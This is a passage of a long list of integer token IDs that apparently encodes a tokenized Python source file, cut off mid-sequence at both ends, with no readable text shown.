29889, 12673, 29889, 3166, 16394, 29898, 15060, 29889, 2055, 4430, 29918, 1256, 467, 312, 603, 3101, 13, 13, 1753, 1423, 29918, 276, 496, 3097, 29898, 4102, 1523, 2415, 29892, 9063, 1125, 13, 1678, 396, 1317, 278, 937, 9063, 6159, 519, 515, 278, 1857, 697, 29973, 13, 1678, 2967, 353, 13761, 29889, 14634, 29918, 3188, 29898, 4102, 1523, 2415, 29892, 9063, 29897, 13, 1678, 565, 7431, 29898, 3188, 29897, 1275, 29871, 29900, 29901, 13, 4706, 1596, 703, 2704, 29901, 1273, 29879, 16664, 29879, 29905, 29876, 392, 1273, 29879, 16664, 29879, 29905, 29876, 17532, 694, 3619, 19525, 272, 29908, 1273, 313, 13, 9651, 3987, 29889, 3166, 29918, 15060, 29892, 12439, 29918, 15060, 29898, 4102, 1523, 2415, 511, 13, 9651, 3987, 29889, 29305, 29918, 15060, 29892, 12439, 29918, 15060, 29898, 15060, 8243, 934, 29922, 9675, 29889, 303, 20405, 29897, 13, 4706, 6876, 29898, 29896, 29897, 13, 1678, 3619, 9780, 353, 2967, 29961, 29900, 29962, 13, 1678, 565, 937, 1523, 2415, 2804, 3619, 9780, 29901, 13, 4706, 1596, 703, 27392, 29901, 1273, 29879, 16664, 29879, 29905, 6994, 451, 385, 19525, 272, 310, 1273, 29879, 16664, 29879, 3850, 1273, 313, 13, 9651, 3987, 29889, 3166, 29918, 15060, 29892, 12439, 29918, 15060, 29898, 4102, 1523, 2415, 511, 13, 9651, 3987, 29889, 29305, 29918, 15060, 29892, 12439, 29918, 15060, 29898, 15060, 8243, 934, 29922, 9675, 29889, 303, 20405, 29897, 13, 4706, 1596, 29898, 1445, 29922, 9675, 29889, 303, 20405, 29897, 13, 4706, 5046, 513, 1036, 353, 938, 3552, 4102, 1523, 2415, 29889, 2055, 4430, 29918, 1256, 448, 3619, 9780, 29889, 2055, 4430, 29918, 1256, 6802, 29947, 29953, 29946, 29900, 29900, 29897, 13, 4706, 12379, 2435, 353, 2533, 3552, 29896, 363, 921, 297, 13761, 29889, 1524, 29918, 2055, 1169, 29898, 9435, 9780, 29889, 20970, 17051, 718, 525, 856, 29915, 718, 937, 1523, 2415, 29889, 20970, 17051, 4961, 13, 4706, 1596, 703, 1576, 937, 3619, 19525, 272, 338, 1273, 29879, 29908, 1273, 12439, 29918, 15060, 29898, 9435, 9780, 511, 934, 29922, 9675, 29889, 303, 20405, 29897, 13, 4706, 1596, 703, 4716, 338, 1273, 29881, 25741, 9642, 1135, 1273, 29879, 16664, 29879, 29905, 29876, 392, 1273, 29881, 3841, 9642, 29889, 5293, 393, 408, 3978, 1213, 1273, 29905, 13, 795, 313, 16304, 2435, 29892, 3987, 29889, 3166, 29918, 15060, 29892, 12439, 29918, 15060, 29898, 4102, 1523, 2415, 511, 5046, 513, 1036, 511, 934, 29922, 9675, 29889, 303, 20405, 29897, 13, 4706, 1596, 29898, 1445, 29922, 9675, 29889, 303, 20405, 29897, 13, 4706, 937, 1523, 2415, 353, 3619, 9780, 13, 1678, 736, 937, 1523, 2415, 29892, 9063, 13, 13, 4102, 1523, 2415, 29892, 9063, 353, 1423, 29918, 276, 496, 3097, 29898, 4102, 1523, 2415, 29892, 9063, 29897, 13, 6768, 29889, 3166, 29918, 15060, 353, 937, 1523, 2415, 29889, 20970, 17051, 13, 13, 1753, 6597, 29918, 14096, 29918, 16953, 29898, 15060, 1125, 13, 1678, 10887, 3820, 1475, 353, 9063, 29889, 4906, 29889, 5451, 28909, 29876, 1495, 13, 1678, 274, 595, 866, 353, 5159, 13, 1678, 297, 6812, 353, 7700, 13, 1678, 1476, 6812, 353, 7700, 13, 1678, 6635, 353, 6213, 13, 1678, 11486, 353, 5159, 13, 1678, 363, 1196, 297, 10887, 3820, 1475, 29901, 13, 4706, 286, 353, 1302, 8921, 29889, 4478, 29898, 1220, 29897, 13, 4706, 565, 286, 338, 451, 6213, 29901, 13, 9651, 396, 319, 3189, 29899, 8921, 287, 29899, 1220, 8341, 267, 278, 13755, 310, 278, 9063, 2643, 29892, 13, 9651, 396, 1363, 372, 29915, 29879, 5134, 472, 278, 1095, 871, 29889, 13, 9651, 2867, 13, 13, 4706, 286, 353, 2329, 6735, 29889, 4478, 29898, 1220, 29897, 13, 4706, 565, 286, 338, 451, 6213, 29901, 13, 9651, 396, 24778, 29914, 11123, 2992, 29889, 18076, 487, 29889, 13, 9651, 6773, 13, 13, 4706, 286, 353, 3643, 3478, 866, 29889, 4478, 29898, 1220, 29897, 13, 4706, 565, 286, 338, 451, 6213, 29901, 13, 9651, 396, 23708, 4443, 29901, 6213, 13, 9651, 396, 13, 9651, 396, 22738, 591, 1476, 263, 4443, 313, 578, 278, 9063, 338, 451, 10902, 408, 376, 27259, 13, 9651, 396, 263, 6507, 4443, 4968, 541, 591, 2113, 29915, 29873, 6314, 372, 29889, 13, 9651, 1476, 6812, 353, 5852, 13, 9651, 6773, 13, 13, 4706, 286, 353, 1104, 6812, 29889, 4478, 29898, 1220, 29897, 13, 4706, 565, 286, 338, 6213, 29901, 13, 9651, 396, 9626, 1196, 947, 451, 1712, 263, 6507, 4443, 28128, 29889, 13, 9651, 396, 960, 591, 892, 2307, 6314, 292, 263, 4443, 29892, 6773, 6314, 292, 372, 29889, 13, 9651, 565, 297, 6812, 29901, 13, 18884, 274, 595, 866, 29889, 4397, 29898, 1220, 29897, 13, 9651, 6773, 13, 13, 4706, 396, 1334, 505, 263, 6507, 4443, 10452, 29889, 960, 591, 892, 6314, 292, 263, 13, 4706, 396, 4443, 2307, 29892, 4866, 372, 29889, 13, 4706, 565, 297, 6812, 29901, 13, 9651, 11486, 29889, 4397, 3552, 4117, 29892, 337, 4830, 29918, 6812, 29898, 29883, 595, 866, 4961, 13, 9651, 274, 595, 866, 353, 5159, 13, 9651, 297, 6812, 353, 7700, 13, 13, 4706, 396, 7370, 263, 716, 6507, 4443, 29889, 13, 13, 4706, 937, 1220, 353, 286, 29889, 2972, 877, 6812, 2824, 17010, 580, 13, 4706, 565, 937, 1220, 29889, 13609, 580, 1275, 525, 9290, 2396, 13, 9651, 396, 23708, 4443, 29901, 5642, 448, 727, 29915, 29879, 694, 4443, 3447, 29889, 13, 9651, 6773, 13, 4706, 1476, 6812, 353, 5852, 13, 4706, 297, 6812, 353, 5852, 13, 13, 4706, 396, 25343, 675, 278, 937, 1196, 29889, 13, 4706, 565, 937, 1220, 2804, 376, 1115, 13, 9651, 937, 1220, 353, 937, 1220, 29961, 29900, 1822, 21064, 580, 718, 937, 1220, 29961, 29896, 17531, 13, 13, 4706, 274, 595, 866, 353, 518, 4102, 1220, 29962, 13, 4706, 6635, 353, 286, 29889, 2972, 877, 4117, 29896, 1495, 13, 4706, 565, 6635, 338, 6213, 29901, 13, 9651, 6635, 353, 286, 29889, 2972, 877, 4117, 29906, 1495, 13, 4706, 565, 6635, 338, 6213, 29901, 13, 9651, 6635, 353, 525, 27259, 7663, 29915, 13, 4706, 396, 21981, 675, 304, 20341, 403, 5164, 7483, 17063, 29889, 13, 4706, 6635, 353, 6635, 29889, 13609, 580, 13, 4706, 396, 960, 727, 526, 2999, 13997, 13055, 491, 844, 294, 470, 24765, 267, 29892, 671, 278, 937, 408, 27270, 1820, 29889, 13, 4706, 6635, 353, 6635, 29889, 5451, 29317, 742, 29871, 29896, 9601, 29900, 29962, 13, 4706, 6635, 353, 6635, 29889, 5451, 11219, 742, 29871, 29896, 9601, 29900, 29962, 13, 4706, 396, 960, 727, 338, 738, 3052, 29886, 514, 29892, 1959, 372, 29889, 13, 4706, 565, 6635, 297, 6635, 29918, 9894, 29886, 10071, 29901, 13, 9651, 6635, 353, 6635, 29918, 9894, 29886, 10071, 29961, 4117, 29962, 13, 13, 1678, 565, 297, 6812, 29901, 13, 4706, 11486, 29889, 4397, 3552, 4117, 29892, 337, 4830, 29918, 6812, 29898, 29883, 595, 866, 4961, 13, 13, 1678, 736, 1476, 6812, 29892, 11486, 13, 13, 1028, 3993, 353, 4256, 8504, 29889, 23090, 18959, 29914, 742, 17411, 742, 525, 1966, 742, 525, 29989, 11287, 13, 11808, 353, 29871, 29900, 13, 1753, 10917, 7295, 13, 1678, 5534, 6795, 13, 1678, 396, 17440, 263, 6728, 2594, 13, 1678, 6795, 4619, 29871, 29896, 13, 1678, 565, 6795, 1273, 29871, 29896, 29900, 1275, 29871, 29900, 29901, 13, 4706, 565, 6795, 1273, 29871, 29896, 29900, 29900, 1275, 29871, 29900, 29901, 13, 9651, 1596, 14182, 29890, 636, 613, 1095, 2433, 742, 934, 29922, 9675, 29889, 303, 20405, 29897, 13, 4706, 1596, 14182, 29890, 613, 1095, 2433, 742, 934, 29922, 9675, 29889, 303, 20405, 29897, 13, 4706, 1596, 29898, 4622, 29898, 1028, 3993, 511, 29871, 1095, 2433, 742, 934, 29922, 9675, 29889, 303, 20405, 29897, 13, 4706, 10876, 29889, 303, 20405, 29889, 23126, 580, 13, 13, 1753, 679, 29918, 11851, 29918, 18434, 29898, 4102, 1523, 2415, 29892, 1833, 1523, 2415, 1125, 13, 1678, 4955, 353, 5159, 13, 1678, 363, 274, 297, 13761, 29889, 1524, 29918, 2055, 1169, 29898, 4102, 1523, 2415, 29889, 20970, 17051, 718, 525, 636, 29915, 718, 1833, 1523, 2415, 29889, 20970, 17051, 29892, 937, 29918, 3560, 353, 5852, 1125, 13, 4706, 4955, 29889, 4397, 29898, 29883, 29897, 13, 1678, 736, 4955, 13, 13, 735, 13347, 29918, 16953, 353, 731, 580, 13, 361, 429, 13347, 6730, 338, 451, 6213, 29901, 13, 1678, 396, 13, 1678, 396, 24930, 599, 278, 11486, 304, 19060, 2645, 4333, 2400, 29889, 13, 1678, 396, 13, 1678, 1596, 703, 28916, 292, 8528, 6154, 29965, 2287, 29928, 6507, 11486, 515, 29905, 29876, 29995, 29879, 29905, 29876, 29305, 29905, 29876, 29995, 29879, 29908, 1273, 313, 1693, 1598, 29918, 15060, 29898, 735, 13347, 6730, 511, 12439, 29918, 15060, 29898, 735, 13347, 8897, 8243, 934, 29922, 9675, 29889, 303, 20405, 29897, 13, 13, 1678, 396, 3824, 9801, 393, 278, 2425, 2400, 674, 29504, 29889, 13, 1678, 429, 13347, 6730, 29892, 429, 13347, 8897, 353, 1423, 29918, 276, 496, 3097, 29898, 735, 13347, 6730, 29892, 429, 13347, 8897, 29897, 13, 1678, 396, 24930, 599, 278, 10366, 3291, 29892, 577, 591, 508, 5645, 6728, 29889, 13, 1678, 10366, 9748, 353, 679, 29918, 11851, 29918, 18434, 29898, 735, 13347, 6730, 29892, 429, 13347, 8897, 29897, 13, 13, 1678, 396, 2567, 6314, 599, 25741, 29889, 13, 1678, 1596, 703, 28916, 292, 8528, 6154, 29965, 2287, 29928, 6507, 11486, 856, 613, 934, 29922, 9675, 29889, 303, 20405, 29897, 13, 1678, 474, 353, 29871, 29900, 13, 1678, 6728, 353, 29871, 29900, 13, 1678, 1833, 2481, 353, 931, 29889, 2230, 580, 13, 1678, 363, 274, 297, 13761, 29889, 1524, 29918, 2055, 1169, 29898, 735, 13347, 6730, 29889, 20970, 17051, 718, 525, 636, 29915, 718, 429, 13347, 8897, 29889, 20970, 17051, 1125, 13, 4706, 6728, 353, 938, 29898, 29896, 29900, 29900, 29889, 334, 5785, 29898, 29875, 29897, 847, 7431, 29898, 14634, 9748, 876, 13, 4706, 716, 2481, 353, 931, 29889, 2230, 580, 13, 4706, 565, 716, 2481, 6736, 1833, 2481, 718, 29871, 29945, 29901, 13, 9651, 1596, 14182, 29890, 29995, 29881, 7686, 636, 29908, 1273, 6728, 29892, 934, 29922, 9675, 29889, 303, 20405, 29892, 1095, 2433, 1495, 13, 9651, 1833, 2481, 353, 716, 2481, 13, 4706, 474, 4619, 29871, 29896, 13, 13, 4706, 10917, 580, 13, 4706, 396, 24930, 278, 6507, 11486, 297, 393, 9063, 29889, 13, 4706, 17117, 11486, 353, 6597, 29918, 14096, 29918, 16953, 29898, 29883, 29897, 13, 4706, 363, 6635, 29892, 4443, 297, 11486, 29901, 13, 9651, 429, 13347, 29918, 16953, 29889, 1202, 3552, 4117, 29892, 4443, 876, 13, 13, 1678, 1596, 14182, 29890, 29896, 29900, 29900, 29995, 29905, 29876, 613, 934, 29922, 9675, 29889, 303, 20405, 29897, 13, 13, 2158, 703, 28916, 292, 6507, 11486, 515, 29905, 29876, 29995, 29879, 29905, 29876, 29305, 29905, 29876, 29995, 29879, 29908, 1273, 313, 1693, 1598, 29918, 15060, 29898, 4102, 1523, 2415, 511, 12439, 29918, 15060, 29898, 15060, 8243, 934, 29922, 9675, 29889, 303, 20405, 29897, 13, 13, 14096, 29918, 16953, 353, 6571, 13, 27259, 29918, 14096, 29918, 16953, 353, 5159, 13, 13, 1753, 6314, 29918, 5150, 943, 29898, 15060, 1125, 13, 1678, 15717, 353, 731, 580, 13, 1678, 4148, 353, 4148, 29918, 2606, 2129, 29889, 657, 29898, 15060, 29889, 8921, 29889, 978, 29892, 9063, 29889, 8921, 29889, 978, 29897, 13, 1678, 565, 4148, 2804, 525, 28712, 16046, 2396, 13, 4706, 15717, 29889, 1202, 29898, 8921, 29897, 13, 1678, 4148, 353, 4148, 29918, 2606, 2129, 29889, 657, 29898, 15060, 29889, 2055, 5171, 29889, 978, 29892, 9063, 29889, 2055, 5171, 29889, 978, 29897, 13, 1678, 565, 4148, 2804, 525, 28712, 16046, 2396, 13, 4706, 15717, 29889, 1202, 29898, 8921, 29897, 13, 1678, 363, 286, 297, 1302, 8921, 29889, 2886, 1524, 29898, 15060, 29889, 4906, 1125, 13, 4706, 385, 420, 353, 286, 29889, 2972, 877, 978, 2824, 17010, 580, 13, 4706, 4148, 353, 4148, 29918, 2606, 2129, 29889, 657, 29898, 273, 420, 29892, 385, 420, 29897, 13, 4706, 15717, 29889, 1202, 29898, 8921, 29897, 13, 1678, 736, 15717, 13, 13, 13, 1753, 1889, 29918, 14096, 29918, 16953, 29898, 558, 29892, 3611, 29892, 9063, 1125, 13, 1678, 15717, 353, 6314, 29918, 5150, 943, 29898, 15060, 29897, 13, 13, 1678, 1476, 6812, 29892, 11486, 353, 6597, 29918, 14096, 29918, 16953, 29898, 15060, 29897, 13, 13, 1678, 396, 2180, 278, 1095, 278, 11486, 674, 367, 9132, 297, 11837, 1797, 29892, 1363, 13, 1678, 396, 591, 26987, 278, 25741, 297, 11837, 1797, 29889, 2398, 2629, 29871, 29896, 9063, 13, 1678, 396, 278, 11486, 526, 297, 278, 1959, 1797, 29889, 1105, 11837, 963, 701, 8862, 1244, 29892, 13, 1678, 396, 577, 393, 278, 29871, 29906, 299, 11837, 4947, 963, 297, 278, 1492, 1797, 1449, 29889, 13, 1678, 363, 6635, 29892, 4443, 297, 18764, 287, 29898, 16953, 1125, 13, 4706, 565, 313, 4117, 29892, 4443, 29897, 451, 297, 429, 13347, 29918, 16953, 29901, 13, 9651, 1614, 841, 866, 29898, 15060, 29892, 6635, 29892, 4443, 29892, 15717, 29892, 544, 29892, 3611, 29897, 13, 13, 1678, 4567, 29918, 667, 353, 6213, 13, 1678, 565, 451, 1476, 6812, 29901, 13, 4706, 396, 4750, 292, 6507, 4443, 29889, 19152, 5702, 363, 2678, 29889, 13, 4706, 4567, 29918, 667, 353, 1207, 667, 29898, 558, 29892, 3611, 29892, 9063, 29889, 20970, 17051, 7503, 845, 9103, 1402, 15717, 29897, 13, 1678, 736, 4567, 29918, 667, 29892, 15717, 13, 13, 1753, 1207, 667, 29898, 558, 29892, 544, 3257, 29892, 528, 29874, 29892, 15717, 1125, 13, 1678, 736, 11117, 5150, 943, 2396, 13420, 15300, 7122, 29898, 24582, 29898, 5150, 943, 8243, 13, 9651, 525, 17051, 2396, 528, 29874, 29892, 13, 9651, 525, 558, 2396, 544, 29892, 13, 9651, 525, 3257, 2396, 544, 3257, 29892, 13, 9651, 525, 6812, 2396, 6213, 29913, 13, 13, 1753, 1614, 841, 866, 29898, 15060, 29892, 6635, 29892, 451, 1567, 29887, 29892, 15717, 29892, 544, 29892, 3611, 1125, 13, 1678, 2944, 353, 1207, 667, 29898, 558, 29892, 3611, 29892, 9063, 29889, 20970, 17051, 7503, 845, 9103, 1402, 15717, 29897, 13, 1678, 2944, 1839, 6812, 2033, 353, 451, 1567, 29887, 13, 13, 1678, 396, 2567, 6314, 639, 7663, 29889, 13, 1678, 6635, 16953, 353, 6507, 29918, 16953, 29889, 657, 29898, 4117, 29892, 518, 2314, 13, 1678, 6635, 16953, 29889, 4397, 29898, 667, 29897, 13, 1678, 6507, 29918, 16953, 29961, 4117, 29962, 353, 6635, 16953, 13, 13, 546, 29918, 2972, 29918, 18434, 353, 6571, 13, 513, 23352, 29918, 5150, 943, 353, 731, 580, 13, 497, 558, 29879, 353, 731, 580, 13, 13, 29937, 910, 740, 6471, 322, 18139, 599, 278, 25741, 393, 6852, 304, 263, 3153, 12089, 29889, 13, 29937, 3834, 6139, 338, 297, 1797, 11211, 278, 5900, 1244, 29901, 372, 881, 6493, 599, 13, 29937, 25741, 393, 526, 373, 278, 12089, 322, 871, 373, 278, 12089, 29889, 960, 727, 29915, 29879, 777, 16723, 13, 29937, 5443, 10366, 5134, 373, 278, 12089, 29892, 408, 1472, 408, 1906, 25741, 1016, 29915, 29873, 6467, 1095, 13, 29937, 701, 6159, 519, 515, 278, 3646, 5443, 29892, 896, 29915, 645, 367, 5134, 29889, 29871, 960, 727, 29915, 29879, 263, 1250, 29899, 13, 29937, 10366, 515, 278, 3646, 5443, 29892, 393, 881, 367, 429, 13347, 29889, 13, 29937, 13, 29937, 1222, 9422, 29901, 13, 29937, 13, 29937, 835, 16723, 5443, 19412, 964, 12089, 13, 29937, 13, 29937, 9481, 5443, 287, 1283, 310, 476, 29892, 1754, 263, 9063, 435, 29892, 1754, 263, 9063, 402, 1550, 4856, 1683, 13, 29937, 19355, 379, 29892, 19412, 379, 515, 278, 16723, 5443, 304, 278, 11261, 5443, 297, 382, 29892, 13, 29937, 1754, 263, 2186, 9063, 297, 315, 29892, 769, 19412, 304, 5835, 297, 319, 29889, 13, 29937, 13, 29937, 268, 319, 529, 489, 5835, 13, 29937, 268, 18283, 13, 29937, 268, 891, 320, 13, 29937, 268, 350, 29871, 315, 529, 489, 12089, 6872, 13, 29937, 268, 891, 29871, 891, 13, 29937, 268, 891, 29871, 891, 13, 29937, 268, 360, 29871, 382, 529, 489, 16723, 10366, 13, 29937, 268, 891, 29871, 18283, 13, 29937, 268, 891, 29871, 891, 320, 13, 29937, 268, 383, 29871, 402, 29871, 379, 529, 489, 16723, 5443, 13, 29937, 268, 891, 29871, 891, 847, 13, 29937, 268, 891, 29871, 891, 29914, 13, 29937, 268, 306, 29871, 435, 13, 29937, 268, 891, 847, 13, 29937, 268, 891, 29914, 13, 29937, 268, 476, 529, 489, 10366, 2967, 13, 29937, 13, 29937, 315, 29892, 382, 29892, 402, 29892, 379, 29892, 322, 435, 674, 1269, 367, 7120, 29889, 29871, 6213, 310, 963, 526, 19525, 943, 310, 350, 29892, 13, 29937, 577, 896, 674, 599, 367, 16669, 29889, 382, 674, 367, 451, 367, 29115, 1363, 278, 2643, 13, 29937, 8665, 411, 376, 15836, 479, 613, 577, 297, 278, 1095, 315, 29892, 402, 29892, 379, 29892, 322, 435, 674, 367, 5134, 29889, 13, 29937, 13, 29937, 835, 1250, 29899, 14634, 515, 3646, 5443, 13, 29937, 13, 29937, 9481, 5443, 287, 1283, 379, 29892, 1754, 697, 9063, 402, 29892, 19412, 278, 9281, 383, 515, 5835, 297, 382, 29892, 13, 29937, 1754, 697, 2186, 9063, 297, 315, 29892, 769, 19412, 278, 12089, 29889, 13, 29937, 13, 29937, 268, 319, 529, 489, 5835, 13, 29937, 268, 18283, 13, 29937, 268, 891, 320, 13, 29937, 268, 350, 29871, 315, 529, 489, 12089, 6872, 13, 29937, 268, 891, 29871, 891, 13, 29937, 268, 891, 29871, 891, 13, 29937, 268, 360, 29871, 382, 529, 489, 1250, 29899, 14634, 13, 29937, 268, 891, 847, 29989, 13, 29937, 268, 891, 29914, 891, 13, 29937, 268, 383, 29871, 402, 13, 29937, 268, 891, 847, 13, 29937, 268, 891, 29914, 13, 29937, 268, 379, 529, 489, 10366, 2967, 13, 29937, 13, 29937, 315, 29892, 382, 29892, 383, 29892, 322, 402, 674, 1269, 367, 7120, 29889, 383, 338, 385, 19525, 272, 310, 350, 29892, 577, 372, 674, 367, 13, 29937, 429, 13347, 29889, 382, 8665, 411, 376, 15836, 479, 613, 577, 372, 674, 451, 367, 29115, 29889, 9333, 315, 322, 402, 674, 13, 29937, 505, 13964, 5134, 29889, 13, 1753, 27599, 29918, 558, 29898, 14634, 29892, 544, 1125, 13, 1678, 599, 558, 29879, 29889, 1202, 29898, 558, 29897, 13, 13, 1678, 2143, 978, 353, 8206, 29918, 999, 29918, 13506, 718, 5591, 29908, 718, 544, 29961, 29896, 17531, 13, 1678, 6872, 353, 1024, 29918, 517, 29918, 3318, 29898, 20095, 29892, 2143, 978, 29897, 13, 13, 1678, 4443, 13338, 353, 337, 29889, 12198, 703, 29985, 29995, 29879, 29901, 22308, 29925, 29966, 4906, 29958, 5575, 29897, 364, 29922, 5575, 263, 29922, 5575, 29908, 1273, 544, 29961, 29896, 29901, 1402, 13449, 29922, 276, 29889, 29924, 29897, 13, 1678, 286, 353, 4443, 13338, 29889, 4478, 29898, 14634, 29889, 4906, 29897, 13, 1678, 4443, 353, 6629, 13, 1678, 565, 286, 338, 6213, 29901, 13, 4706, 396, 25492, 10366, 13, 4706, 4443, 353, 10366, 29889, 4906, 29889, 5451, 28909, 29876, 742, 29941, 9601, 29906, 29962, 13, 1678, 1683, 29901, 13, 4706, 396, 350, 943, 10366, 13, 4706, 4443, 353, 286, 29889, 2972, 877, 4906, 1495, 13, 1678, 4443, 353, 4443, 29889, 17010, 580, 13, 13, 1678, 10366, 29918, 3188, 29918, 2914, 353, 13761, 29889, 14634, 29918, 3188, 29898, 14634, 29889, 862, 1237, 29961, 29900, 1402, 6872, 29897, 13, 1678, 565, 7431, 29898, 14634, 29918, 3188, 29918, 2914, 29897, 1275, 29871, 29900, 29901, 13, 4706, 1596, 703, 16099, 29899, 1148, 29991, 29871, 508, 29915, 29873, 1284, 10366, 2967, 29991, 29871, 544, 613, 544, 29892, 934, 29922, 9675, 29889, 303, 20405, 29897, 13, 4706, 6876, 6278, 29896, 29897, 13, 13, 1678, 10366, 29918, 3188, 353, 10366, 29918, 3188, 29918, 2914, 29961, 29900, 29962, 13, 13, 1678, 25741, 29918, 517, 29918, 24209, 911, 353, 518, 12632, 29962, 13, 1678, 3595, 29918, 2055, 1169, 353, 731, 580, 13, 13, 1678, 4567, 29918, 7076, 353, 5159, 13, 1678, 15717, 353, 731, 580, 13, 1678, 302, 2055, 1169, 353, 29871, 29900, 13, 1678, 363, 9063, 297, 13761, 29889, 1524, 29918, 2055, 1169, 29898, 14634, 29918, 3188, 29889, 20970, 17051, 718, 525, 636, 29915, 718, 6872, 29889, 20970, 17051, 1125, 13, 4706, 10917, 580, 13, 13, 4706, 565, 9063, 297, 3595, 29918, 2055, 1169, 29901, 13, 9651, 396, 1334, 1122, 367, 8790, 278, 1021, 9063, 8951, 565, 263, 4682, 5443, 756, 13, 9651, 396, 1063, 363, 17713, 297, 1014, 29899, 17519, 267, 29889, 3387, 14383, 975, 825, 591, 29915, 345, 3595, 13, 9651, 396, 2307, 29889, 13, 9651, 6773, 13, 4706, 3595, 29918, 2055, 1169, 29889, 1202, 29898, 15060, 29897, 13, 13, 4706, 565, 451, 9063, 29889, 4906, 29889, 27382, 2541, 703, 15836, 479, 29908, 1125, 13, 9651, 4567, 29918, 667, 29892, 7213, 2806, 943, 353, 1889, 29918, 14096, 29918, 16953, 29898, 558, 29892, 4443, 29892, 9063, 29897, 13, 9651, 15717, 29889, 5504, 29898, 29886, 336, 2806, 943, 29897, 13, 9651, 302, 2055, 1169, 4619, 29871, 29896, 13, 9651, 565, 4567, 29918, 667, 338, 451, 6213, 29901, 13, 18884, 4567, 29918, 7076, 29889, 4397, 29898, 27259, 29918, 667, 29897, 13, 13, 1678, 565, 302, 2055, 1169, 1275, 7431, 29898, 27259, 29918, 7076, 1125, 13, 4706, 396, 6213, 310, 278, 25741, 1476, 750, 263, 6507, 4443, 29889, 2391, 963, 29889, 13, 4706, 363, 2944, 297, 4567, 29918, 7076, 29901, 13, 9651, 4567, 29918, 14096, 29918, 16953, 29889, 4397, 29898, 667, 29897, 13, 13, 1678, 1426, 353, 13761, 29889, 5559, 29889, 12765, 29898, 14634, 29918, 3188, 29889, 20970, 17051, 29892, 6872, 29889, 20970, 17051, 29892, 525, 489, 742, 954, 6112, 29922, 5574, 29897, 13, 1678, 22663, 353, 624, 1446, 3032, 1761, 29918, 3166, 29918, 1807, 29898, 20095, 29892, 1426, 29897, 13, 13, 1678, 6314, 29918, 667, 29898, 558, 29892, 4443, 29892, 10366, 29889, 20970, 17051, 7503, 845, 9103, 1402, 302, 2055, 1169, 29892, 15717, 29892, 22663, 29889, 7827, 29892, 10366, 29889, 2055, 4430, 29918, 1256, 29897, 13, 13, 1753, 6314, 29918, 667, 29898, 558, 29892, 544, 3257, 29892, 528, 29874, 29892, 302, 2055, 1169, 29892, 15717, 29892, 22663, 29892, 544, 1372, 1125, 13, 1678, 5375, 29918, 5150, 943, 29889, 5504, 29898, 5150, 943, 29897, 13, 1678, 565, 7431, 29898, 5150, 943, 29897, 1275, 29871, 29900, 29901, 13, 4706, 15717, 29889, 1202, 703, 14148, 13361, 1159, 13, 1678, 2944, 353, 1207, 667, 29898, 558, 29892, 544, 3257, 29892, 528, 29874, 29892, 15717, 29897, 13, 1678, 2944, 29889, 5504, 3319, 29915, 29876, 2055, 1169, 2396, 302, 2055, 1169, 29892, 13, 462, 525, 7851, 1080, 2396, 22663, 1839, 7851, 1080, 7464, 13, 462, 525, 311, 1026, 1080, 2396, 22663, 1839, 311, 1026, 1080, 7464, 13, 462, 525, 5325, 2396, 22663, 1839, 5325, 7464, 13, 462, 525, 9012, 2396, 22663, 1839, 9012, 7464, 13, 462, 525, 1256, 2396, 12865, 29889, 1256, 29889, 3166, 16394, 29898, 558, 1372, 467, 10718, 4830, 3285, 13, 462, 5615, 13, 13, 1678, 4955, 353, 639, 29918, 2972, 29918, 18434, 29889, 657, 29898, 667, 1839, 5150, 943, 7464, 518, 2314, 13, 1678, 4955, 29889, 4397, 29898, 667, 29897, 13, 1678, 639, 29918, 2972, 29918, 18434, 29961, 667, 1839, 5150, 943, 2033, 29962, 353, 4955, 13, 13, 1753, 27599, 29918, 1689, 18785, 29918, 15060, 29898, 15060, 1125, 13, 1678, 396, 3834, 4036, 714, 29899, 974, 29899, 17519, 9063, 29889, 2803, 29915, 29879, 451, 9566, 963, 29889, 13, 1678, 15717, 353, 6314, 29918, 5150, 943, 29898, 15060, 29897, 13, 1678, 3611, 353, 9063, 29889, 4906, 29889, 5451, 28909, 29876, 742, 29896, 9601, 29900, 1822, 17010, 580, 13, 1678, 2944, 353, 1207, 667, 14237, 26690, 742, 3611, 29892, 9063, 29889, 20970, 17051, 7503, 845, 9103, 1402, 15717, 29897, 13, 1678, 4567, 29918, 14096, 29918, 16953, 29889, 4397, 29898, 667, 29897, 13, 1678, 6314, 29918, 667, 14237, 26690, 742, 3611, 29892, 9063, 29889, 20970, 17051, 7503, 845, 9103, 1402, 29871, 29896, 29892, 15717, 29892, 9063, 29889, 16202, 29889, 7827, 29892, 9063, 29889, 2055, 4430, 29918, 1256, 29897, 13, 13, 13, 29937, 24930, 599, 278, 10366, 3291, 577, 591, 508, 3461, 6728, 29889, 13, 14634, 9748, 353, 679, 29918, 11851, 29918, 18434, 29898, 4102, 1523, 2415, 29892, 9063, 29897, 13, 29875, 353, 29871, 29900, 13, 18035, 353, 29871, 29900, 13, 4230, 2481, 353, 931, 29889, 2230, 580, 13, 1454, 9063, 297, 10366, 9748, 29901, 13, 1678, 6728, 353, 938, 29898, 29896, 29900, 29900, 29889, 334, 5785, 29898, 29875, 29897, 847, 7431, 29898, 14634, 9748, 876, 13, 1678, 716, 2481, 353, 931, 29889, 2230, 580, 13, 1678, 565, 716, 2481, 6736, 1833, 2481, 718, 29871, 29945, 29901, 13, 4706, 1596, 14182, 29890, 29889, 29995, 29881, 7686, 29905, 29876, 1213, 1273, 6728, 29892, 934, 29922, 9675, 29889, 303, 20405, 29892, 1095, 2433, 1495, 13, 4706, 1833, 2481, 353, 716, 2481, 13, 1678, 474, 4619, 29871, 29896, 13, 1678, 10917, 580, 13, 13, 1678, 274, 2230, 353, 12865, 29889, 12673, 29889, 3166, 16394, 29898, 15060, 29889, 2055, 4430, 29918, 1256, 467, 312, 603, 580, 13, 1678, 1353, 4352, 353, 10366, 29918, 20326, 29889, 4478, 29898, 15060, 29889, 4906, 29897, 13, 1678, 396, 11597, 29891, 911, 278, 9063, 13, 1678, 565, 1353, 4352, 338, 451, 6213, 29901, 13, 4706, 544, 29879, 353, 1353, 4352, 29889, 2972, 703, 20326, 2564, 17010, 2141, 5451, 703, 16521, 13, 4706, 363, 544, 297, 544, 29879, 29901, 13, 9651, 1596, 703, 462, 18884, 320, 29878, 29995, 29879, 313, 29995, 29879, 29897, 376, 1273, 313, 558, 29892, 274, 2230, 511, 1095, 2433, 742, 934, 29922, 9675, 29889, 303, 20405, 29897, 13, 9651, 27599, 29918, 558, 29898, 15060, 29892, 544, 29897, 13, 1678, 1683, 29901, 13, 4706, 1596, 703, 462, 18884, 320, 29878, 29995, 29879, 313, 29995, 29879, 29897, 376, 1273, 313, 15060, 29889, 20970, 17051, 7503, 845, 9103, 1402, 274, 2230, 511, 1095, 2433, 742, 934, 29922, 9675, 